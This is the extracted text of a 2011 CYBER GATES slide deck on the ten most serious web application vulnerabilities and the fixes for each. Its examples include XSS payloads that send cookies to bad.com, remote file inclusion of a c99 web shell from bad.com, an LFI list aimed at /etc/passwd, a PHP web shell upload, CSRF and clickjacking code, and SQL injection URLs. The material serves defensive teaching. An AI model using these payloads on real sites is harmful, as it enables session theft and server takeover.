WEB APPLICATION SECURITY

BEST PRACTICES OF 2011

Copyright 2011 © CYBER GATESPermission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License

OVERVIEW

Web Application Security is a vast topic

and time is not enough to cover all kind

of malicious attacks and techniques for

avoiding them, so now we will focus on

top 10 high level vulnerabilities.

Web developers work in different ways

using their custom libraries and

intruder prevention systems and now

we will see what they should do and

should not do based on best practices.

CONTENT

1. Overview2. Statistics

2.1. Statistics of vulnerabilities2.2. Statistics of risk levels

3. Top 10 high level vulnerabilities 3.1. Cross-Site Scripting 3.2. Information Leakage

3.3. SQL Injection3.4. Cross-Site Request Forgery3.5. ClickJacking3.6. Local/Remote File Inclusion

3.7. Unrestricted File Uploads3.8. Phishing3.9. Session Hijacking3.10. Shell Injection

4. Cross-Site Scripting4.1. Defination4.2. Types

4.2.1. Non-persistent4.2.2. Persistent

4.3. Non-persistent4.4. Persistent4.5. Common targets4.6. Potentially Dangerous HTML elements

4.7. Best Solution5. Information Leakage

5.1. Defination5.2. Common reasons

5.2.1. Directory listing misconfiguration

5.2.2. Unproper error handling5.2.3. Unproper filetype handling5.2.4. Sensetive HTML comments

5.3. Directory listing misconfiguration5.4. Unproper error handling5.5. Unproper filetype handling5.6. Sensetive HTML comments

5.7. Best Solution6. SQL Injection

6.1. Defination6.2. Types

6.2.1. Normal SQL Injection6.2.2. Blind SQL Injection

6.3. Normal SQL Injection6.4. Blind SQL Injection6.5. Solutions6.6. Best Solution

7. Cross-Site Request Forgery7.1. Defination7.2. Useless defenses

7.3. Solutions7.4. Best Solution

8. ClickJacking8.1. Defination8.2. FrameKillers8.3. FrameKiller killers8.4. Best Solution

9. Local/Remote File Inclusion9.1. Defination9.2. Types

9.2.1. Local File Inclusion9.2.2. Remote File Inclusion

9.3. Local File Inclusion

9.4. Remote File Inclusion9.5. Common exploits/requests9.6. Common methods of attack9.7. Potentially dangerous PHP functons9.8. Best Solution

10. Unrestricted File Uploads10.1. Defination10.2. Common mistakes10.3. Best Solution

11. Phishing11.1. Defination11.2. Best Solution

12. Session Hijacking

12.1. Defination12.2. Best Solution

13. Shell Injection13.1. Defination13.2. Potentially dangerous PHP functions13.3. Best Solution

14. Special thanks15. Contact information16. References

STATISTICS OF VULNERABILITIES

Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

STATISTICS OF RISK LEVELS

Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

TOP 10 HIGH LEVEL VULNERABILITIES01. Cross-Site Scripting (XSS) [2005]

02. Information leakage

03. SQL Injection [~2005]

04. Cross-Site Request Forgery (CSRF) [1990s]

05. ClickJacking [J.Grossman and R.Hansen - 2008]

06. Local/Remote File Inclusion

07. Unrestricted File Upload

08. Phishing [1987, 1996]

09. Session Hijacking [early 2000s]

10. Shell injection

CROSS-SITE SCRIPTING

• DESCRIPTION: Cross-Site Scripting is a type of web application vulnerability when attacker injects his executable code (Javascript, HTML, etc.) into a vulnerable webpage.

• EXAMPLE:http://site.com/search.php?q=<script>alert(“XSS”)</script>

CROSS-SITE SCRIPTING

• TYPES:1. Non-Persistent2. Persistent

1.Non-Persistent:In this type of XSS vulnerability an attacker is able to execute his own code into a webpage but no changes can be done in that website.

CROSS-SITE SCRIPTINGNon-PersistentEXAMPLE:

http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script>

ORhttp://www.site.com/viewtopic.php?id=4”><script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>

CROSS-SITE SCRIPTING2.Persistent:

In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing the data.

Common targets are:• Comments• Chat messages• E-mail messages• Wall posts, etc.

CROSS-SITE SCRIPTINGPersistentEXAMPLE:

CROSS-SITE SCRIPTINGPersistent

Comment in raw format:and I like the way this website developerswork..hahaha :D :D

<SCRIPT/XSS SRC="http://bad.com/xss.js"></SCRIPT>

CROSS-SITE SCRIPTINGPotentially Dangerous HTML elemets:

src, href, lowsrc, xmlns, style, etc.

TAGS• <applet> • <body> • <embed> • <frame> • <script> • <frameset> • <html>

• <iframe> • <img> • <style> • <layer> • <ilayer> • <meta> • <object> ,etc.

ATTRIBUTES

CROSS-SITE SCRIPTINGPotentially Dangerous HTML events:

•Onblur•Onchange•Onclick•Ondrag•Onerror•Onfocus•Onkeypress•Onkeyup•Onload

•Onmouseover•Onmousemove•Onmove•Onresize•Onselectstart•Onselect•Onsubmit•Onunload•Onscroll, etc.

*all HTML events

CROSS-SITE SCRIPTINGSOLUTIONS:

• PHP function strip_tags()• PHP Input Filter• PHP libraries:• HTML_Safe• htmLawed• kses• Safe HTML Checker, etc.

Input sanitization

• PHP function htmlentities()Output sanitization

BEST SOLUTION

OWASP HTML Purifier• SAFE

HTML Purifier defeats XSS with an audited whitelist

• CLEANHTML Purifier ensures standards-compliant output

• OPENHTML Purifier is open-source and highly customizable

BEST SOLUTION

COMPARISON:

Source: www.htmlpurifier.org/comparison

BEST SOLUTION

COMPARISON:

Source: www.htmlpurifier.org/comparison

INFORMATION LEAKAGE

• DESCRIPTION:Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data.

• EXAMPLE:Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20

INFORMATION LEAKAGE• CAUSES OF:

1. Directory listing misconfiguration2. Unproper error handling3. Unproper filetype handling4. Sensitive HTML comments, etc.

1.Directory listing misconfiguration:Leaving directory listing enabled allows the attacker to read the list of all files in a directory.

INFORMATION LEAKAGE

• EXAMPLE:http://www.site.com/admin/

Directory listing misconfiguration

INFORMATION LEAKAGE2.Unproper error handling:

Because of unproper error handling all the unexpecting requests will generate error messages which will be visible to the attacker.

• EXAMPLE:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/aes/public_html/news/list.php on line 81

INFORMATION LEAKAGE3.Unproper filetype handling:

Unproper filetype handling allows your important files to be readable by the attacker.

• EXAMPLE:• sql_backup.tar.gz• memberlist.xml• phpinfo.html• dbClass.inc• Login.php.bkp

INFORMATION LEAKAGE

• EXAMPLE:dbClass.inc…

private $host = "localhost";private $usr = “root“;private $pwd = “i7kT0w“;public $db = "brav_new";public function Connect(){ … }…

Unproper filetype handling

INFORMATION LEAKAGE4. Sensitive HTML comments:

Notes left by web developers may content important information which will cause of the information leakage.

• EXAMPLE:<form enctype="multipart/form-data" action="upload.php" method="POST"><!--check for filetypes php, cgi, pl, bat, exe, dll, reg--><input name="upload_file" type="file" /> …

BEST SOLUTION

Directory listing misconfigurationA. put a blank file named index.html in that

directory.B. put a file named .htaccess in that directory

consisting of only this line:Options –indexesNOTE: all sub-directories of that directory will also get their directory listings turned off.

BEST SOLUTION

Unproper error handlingA. The following configurations should be done in

php.ini file:• error_reporting = E_ALL• display_errors = Off• log_errors = On• error_log = path/PHP_errors.log //any file in

which the web server has write privileges.

BEST SOLUTION

Unproper error handlingB. Create an .htaccess file in public_html directory

with the following lines:php_flag display_errors offphp_flag log_errors onphp_value error_log path/PHP_errors.log<Files path/PHP_errors.log>Order allow,denyDeny from allSatisfy All</Files

BEST SOLUTION

Unproper filetype handlingA. Don’t keep your important files with the

following extentions in your public web directory if you don’t link to them in the website:• Compressed files(*.zip, *.rar, *.tar.gz, etc.)• Database files(*.sql, *.cvs, *.xml, *.xls, etc.)• Unknown files(*.inc, *.copy, *.bkp, etc.)

BEST SOLUTION

Unproper filetype handlingB. If you have a reason to keep those files in your

web public directory, create an .htaccess file in that directory with the following lines of code:<Files ~ "\.(inc|sql)$"> order allow,deny deny from all</Files>

BEST SOLUTION

Sensitive HTML commentsA. No sensetive HTML comment must be used in a

website as every user will be able to view the webpage source code.

SQL INJECTION

• DESCRIPTION:This is a type of vulnerability when attacker injects his custom SQL query to the request to get sensetive data from the database, read or write a file.

• EXAMPLE:http://site.com/product.php?id=4+AND+1=2+UNION+SELECT+0,database(),1,2+--

SQL INJECTION

• TYPES:1. Normal2. Blind

1.Normal:In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.

SQL INJECTION

• EXAMPLE:http://site.com/product.php?id=1348+AND+1=2+union+select+1,2,user(),database(),5,version(),7+--

Normal SQL Injection

SQL INJECTION

2.Blind:This type of injection is identical to normal SQL Injection except that the SQL query returns positive or negative response.

• EXAMPLE:http://site.com/view.php?page=10+and+substring(@@version,1,1)=5+--

SQL INJECTION

• PHP.ini configuration• magic_quotes_gpc = on

• PHP functions• filter_var()• mysql_real_escape_string()• sprintf()

• Put variables into the quotes(e.g: ‘$id’)• Assign min privilages for mysql users

SOLUTIONS:

BEST SOLUTION

GreenSQL open source database firewall• Activity monitoring and audit• User rights management• Real-time database protection• Intrusion preventation(IPS)• Database caching• Encrypted comunication over SSL• Virtual patching• Reporting

BEST SOLUTION

GreenSQL open source database firewall

Source: www.greensql.net

CROSS-SITE REQUEST FORGERY

• DESCRIPTION:This vulnerability of web application allows other websites to send it unauthorized requests using the active session of its authorized users.

• EXAMPLE:<img src=“http://site.com/share.php?url=http://bad.com” style=“display:none” />

CROSS-SITE REQUEST FORGERYEXAMPLE:

<div style=“display:none”><iframe name=“hidden”></iframe><form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”><input type=“text” name=“message” value=“I like www.bad.com” /><input type=“submit” /></form><script>document.Form.submit();</script></div>

CROSS-SITE REQUEST FORGERY• USELESS DEFENSES:• Only accept POSTStops simple link-based attacks (IMG, frames, etc.)But hidden POST requests can be created with frames, scripts, etc.• Referer checkingSome users prohibit referers, so you can’t just require referer headersTechniques to selectively create HTTP request without referers exist• Requiring multi-step transactionsCSRF attack can perform each step in order

• CAPTHCA systemsThis is a type of challenge-response test used in computing to ensure that the response is not generated by a computer.• One-time tokensUnlike the CAPTCHA systems this is a unique number stored in the form field and in session to compare them after the form submition.

SOLUTIONS:

CROSS-SITE REQUEST FORGERY

BEST SOLUTION

OWASP CSRFGuard

Add Tokento HTML

User(Browser)

Business Processing

OWASPCSRFGuard

Verify Token

1. Add token with regex

2. Add token with HTML parser

3. Add token in browser with

Javascript

• Adds token to:– href attribute– src attribute– hidden field in all forms

• Actions:– Log– Invalidate– Redirect

Source: www.owasp.org/index.php/CSRFGuard

CLICKJACKING

• DESCRIPTION:ClickJacking or UI Redressing is an art of taking actions without the user's knowledge, such as clicking on a button that appears to perform another function. It works in all modern browsers that support frames and css.

• EXAMPLE:<div style="position:fixed; width:100%; height:100%; z-index:999;" onclick="alert(‘ClickJacked');"></div>

CLICKJACKING• EXAMPLE:

<style> iframe { width: 500px; height: 400px; /* Use absolute positioning to line up update button with fake button */position: absolute; top: 0px; left: 0px; z-index: 2; /* Hide from view */-moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }button { position: absolute; top: 350px; left: 200px;z-index: 1; width: 100px; } </style>

<h1>BEST GAME EVER!</1><button>PLAY!</button><iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>

CLICKJACKINGEXAMPLE:

CLICKJACKING

FrameKiller(frame busting)• Defination:

Frame killers or frame busting is used to defend against clickjacking attacks.

• Example:if (top.location != location){

top.location = self.location;}

CLICKJACKING

• Conditional statementif (top != self)if (top.location != self.location)if (top.location != location)if (parent.frames.length > 0)if (window != top)if (window.top !== window.self)if (window.self != window.top)if (parent && parent != window)if (parent && parent.frames &&

parent.frames.length>0)if((self.parent&&!

(self.parent===self))&&(self.parent.frames.length!=0))

Common FrameKillers

CLICKJACKING

top.location = self.locationtop.location.href = document.location.hreftop.location.replace(self.location)top.location.href = window.location.hreftop.location.replace(document.location)top.location.href = window.location.hreftop.location.href = "URL"document.write('')top.location.replace(document.location)top.location.replace('URL')top.location.replace(window.location.href)top.location.href = location.hrefself.parent.location = document.locationparent.location.href = self.document.location

Common FrameKillers• Counter-action statement

CLICKJACKING

• Double framing<iframe src="second.html"></iframe>second.html<iframe src="http://www.site.com"></iframe>

• Using onBeforeUnload event<script>window.onbeforeunload=function(){return “do you want to leave this page?“;}</script><iframe src="http://www.site.com"></iframe>

FrameKiller killers

CLICKJACKING

• onBeforeUnload & 204 Flushingvar prevent bust = 0window.onbeforeunload=function(){killbust++}setInterval(function(){if(killbust > 0){killbust = 2;window.top.location = 'http://no-content-204.com'} }, 1);<iframe src="http://www.victim.com"></iframe>

• etc.

FrameKiller killers

BEST SOLUTION

• FrameKiller(frame busting):<style> html{ display : none; } </style><script>if( self == top ) { document.documentElement.style.display='block'; } else { top.location = self.location; }</script>

• OWASP CSRFGuardIMPORTANT: Unfortunately, there is no script which would protect your web application

against ClickJacking, however above mentioned is the best solution that we have now.

FILE INCLUSION

• DESCRIPTION:This type of web application vulnerability allows an attacker to include local or remote file into the vulnerable webpage.

• EXAMPLE:http://site.com/view.php?file=../../../../../../../../../../../../../../etc/passwd%00

FILE INCLUSION

• TYPES:1. Local2. Remote

1.Local File Inclusion:This type of inclusion is used to include local files. Mostly used for server configuration files such as system users information, filesystem structure, etc.

FILE INCLUSION

• EXAMPLE:http://site.com/include.php?file=../../../../../../../../../../../../../etc/passwd%00

root:*:0:0:Super User:/root:/bin/csh daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin operator:*:2:5:Operator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent

LOCAL FILE INCLUSION

FILE INCLUSION

2.Remote File Inclusion:Unlike the local file inclusion this is used to include remote scripts such as web shells which is more dangerous than the previous one.

Main goals:• Remote code execution• Remote root kit installation and

complete system compromise• etc.

FILE INCLUSION

• EXAMPLE:http://site.com/include.php?file= http://bad.com/c99_shell.php&act=ls&dir=%2Fvar

REMOTE FILE INCLUSION

FILE INCLUSIONVULNERABLE PHP CODES• <?php include($_GET['file']); ?>• <?php include($_GET['file'].".htm"); ?>• <?php

include("includes/".$_GET['file']);?>

• <?php include("includes/".$_GET['file'].".htm");?>

• etc.

FILE INCLUSIONCOMMON EXPLOITS/REQUESTS

?file=../../../../../../../../../etc/passwd?file=../../../../../../../../../var/lib/locate.db?file=../../../../../../../../../var/log/apache/error.log?file=../../../../../../../../../etc/passwd%00?file=../../../../../../../../../var/www/accounts/%00?file=http://bad.com/xss.php?xss=phpcode?file=http://bad.com/shell.txt?file=data://text/plain;base64,SU5KRUNURUQ=?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\?file=../../../../../../../../../etc/passwd…………………..…etc.

FILE INCLUSIONCOMMON METHODS OF ATTACK• Hostile data being uploaded to session

files, log data, and via image uploads• Using compression or audio streams, such

as zlib:// or ogg://(allow_url_fopen/ allow_url_include may be disabled)

• Using PHP wrappers, such as php://input• Using PHP’s data: wrapper, such as

data:;base64,PD9waHAgcGhwaW5mbygpOz8+

• etc.

FILE INCLUSION

• include()/include_once()• require()/require_once()• file_get_contents()• fopen()• file()• copy()• unlink()• upload_tmp_dir()• move_uploaded_file()• imagecreatefromXXX()

POTENTIALLY DANGEROUS PHP FUNCTIONS

BEST SOLUTION

• Use whitelisted filenames or allow only valid file name characters (e.g: /^(((?:\.)(?!\.))|\w)+$/)

• Modify the php.ini configuration file: register_globals = Offmagic_quotes_gpc = Onallow_url_fopen = Offallow_url_include = Off

• Do not use any of the potentially dangerous PHP functions(previous slide) without filtering user input

UNRESTRICTED FILE UPLOAD• DESCRIPTION:

This vulnerability of a web application allows attacker to upload malicious files to the server. Most of the time those files are web shell scripts to take control over your web server.

• EXAMPLE:$usrFile = $_FILES[‘userfile’][‘name’];$uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder)) { echo “File has been successfully uploaded.“;} else{ echo “Error. Please try again!"; }

UNRESTRICTED FILE UPLOAD

POST /upload1.php HTTP/1.1…Content-Type: multipart/form-data; boundary=xYzZY--xYzZYContent-Disposition: form-data; name="userfile"; filename="shell.php"Content-Type: text/plain<?phpsystem($_GET['command']);?>--xYzZY—

HTTP/1.1 200 OK…File has been successfully uploaded.

EXAMPLE:

• Using blacklist for file extensionsChecking only for *.php,*.cgi,..,*.exe, etc. extentions• Checking only the mime typeChecking only the content of $_FILES[‘file’][‘type’]• Unproper check of double extensionsUnproperly checking for the files such as *.php.jpg, *.php.xyz, *.asp.1234, etc.• Checking only the image headerRelying only on PHP functions such as getimagesize()• Checking filetype in filenameChecking content of the filename after the last dot(.)• etc.

COMMON MISTAKES:UNRESTRICTED FILE UPLOAD

BEST SOLUTION

• Define an .htaccess file that will only allow access to files with allowed extensions. This will also prevent double extension attacks.

deny from all<Files ~ "^\w+\.(gif|jpe?g|png)$">order deny,allowallow from all</Files>

BEST SOLUTION

• Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).

• Create a list of accepted mime-types (map extensions from those mime types).

• Generate a random file name and add the previously generated extension.

• Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.

PHISHING

• DESCRIPTION:Phishing is a Social Engineering technique to steal confidential information about the victim such as user login credentials, credit card information, etc. through the use of fake login page.

• EXAMPLE:http://www.qooqle.com/accounts/ServiceLogin?service=mail

PHISHINGEXAMPLE:

BEST SOLUTION

• Use HTTPS instead of HTTPThe use of HTTPS is that user may see the details of the domain owner in the SSL certificate information.

• Use short URL addresses for login pagesUse short URLs so that users could easily recognize login page address.

• Use Yahoo! Sign-in Seal like systemSign-In Seal is a unique identifier chose by the user. This system stores the user's unique identifier in the cookie and that cookie is shared between local web browsers using Shared Object system provided by Adobe Flash Player. It is not associated with the user’s login id, it is associated with the user’s machine id.

SESSION HIJACKING

• DESCRIPTION:This vulnerability of web application is used to gain unauthorized access to web resources of an authoriezed user by having his/her session identifier(SID).

• EXAMPLE:http://wg180.site.com/dk;jsessionid=0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809

SESSION HIJACKING• EXAMPLE:

http://wg180.site.com/dk;jsessionid= 0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809

BEST SOLUTION

• Store SID in HTTP cookiesTo avoid accepting SIDs from GET and POST requests, the followingmodification should be done in php.ini configuration file:

session.use_cookies = 1session.use_only_cookies = 1

• Regenerate SID on each user requestPut session_regenerate_id(true); with this parameter after the session_start() function call

• Accept only SIDs generated by your serverUse $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been created by your web server

BEST SOLUTION

• Check for referrer, user-agent and IP addressAll these three elements can be manipulated, but it is a good habitto check them before accepting any data from a user side

• Destroy old SIDsIf user has SID which hasn’t been accessed for more than 10 minutes, destroy it

• Comletely distroy the session on user logoutThis kind of logout system may be used to completely distroy all the session data

if (isset($_GET['LOGOUT'])){session_unset();session_destroy();$_SESSION = array(); }

SHELL INJECTION

• DESCRIPTION:Shell Injection is a web application vulnerability which allows an attacker to execute shell commands in the web server.

• EXAMPLE:http://site.com/manage.php?action=id

SHELL INJECTION

• EXAMPLE:http://site.com/delete.php?file=/

<?php$file = $_GET[‘file’];echo 'erasing ' . $file . ‘<br />’;system(“rm -Rf $file”) ;echo ‘done‘;

?>

delete.php

• shell_exec()• exec()• `` (backticks)• system()• passthru()• eval()• popen() • curl_exec()• curl_multi_exec()

• show_source() • proc_open()• parse_ini_file()• etc.

POTENTIALLY DANGEROUS PHP FUNCTIONS

SHELL INJECTION

BEST SOLUTION• Disable all the potentially dangerous PHP functionsYou should disable all the potentially dangerous PHP functions in php.ini configuration file which you don’t use:disable_functions=system,exec,etc.• Allow only whitelisted commands to be usedYou may have a list of non-dangerous commands which will be allowed• Use PHP built-in function to escape the user inputUse functions such as escapeshellarg() and escapeshellcmd() to escape the user input.

THANK YOU!!

SPECIAL THANKS FOR KIND SUPPORT:• MANU ZACHARIA

MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA, MCP, AFCEHCertified ISO 27001:2005 LA

• ROHIT SRIVASTWAFounder, ClubHack www.clubhack.com

• C-DAC ACTS acts.cdac.in

CONTACTS

• www.cybergates.amCorporate website

• www.twitter.com/CyberGatesLLC Company profile on Twitter

• www.facebook.com/CyberGates.LLC Company profile on Facebook

• www.linkedin.com/company/CyberGates-LLC Company profile on LinkedIn

• www.vimeo.com/CyberGates Company channel on Vimeo

REFERENCES

• Statisticshttp://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

• Cross-Site Scriptinghttp://en.wikipedia.org/wiki/Cross-site_scriptinghttp://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms

• Information Leakagehttp://projects.webappsec.org/w/page/13246936/Information-Leakagehttp://phpsec.org/projects/guide/1.html

• SQL Injectionhttp://en.wikipedia.org/wiki/SQL_injectionhttp://www.darkreading.com/database-security/167901020/security/application-security/227300073/index.htmlhttp://websec.wordpress.com/category/sqli/

• Cross-Site Request forgeryhttp://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery

REFERENCES

• ClickJackinghttp://en.wikipedia.org/wiki/Framekillerhttp://seclab.stanford.edu/websec/framebusting/framebust.pdf

• File Inclusionhttp://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/http://www.madirish.net/?article=427

• Unrestricted File Uploadhttp://www.acunetix.com/websitesecurity/upload-forms-threat.htm

• Phishinghttp://en.wikipedia.org/wiki/Phishinghttp://security.yahoo.com/article.html?aid=2006102507

• Session Hijackinghttp://en.wikipedia.org/wiki/Session_fixation

• Shell Injectionhttp://en.wikipedia.org/wiki/Code_injection#Shell_injection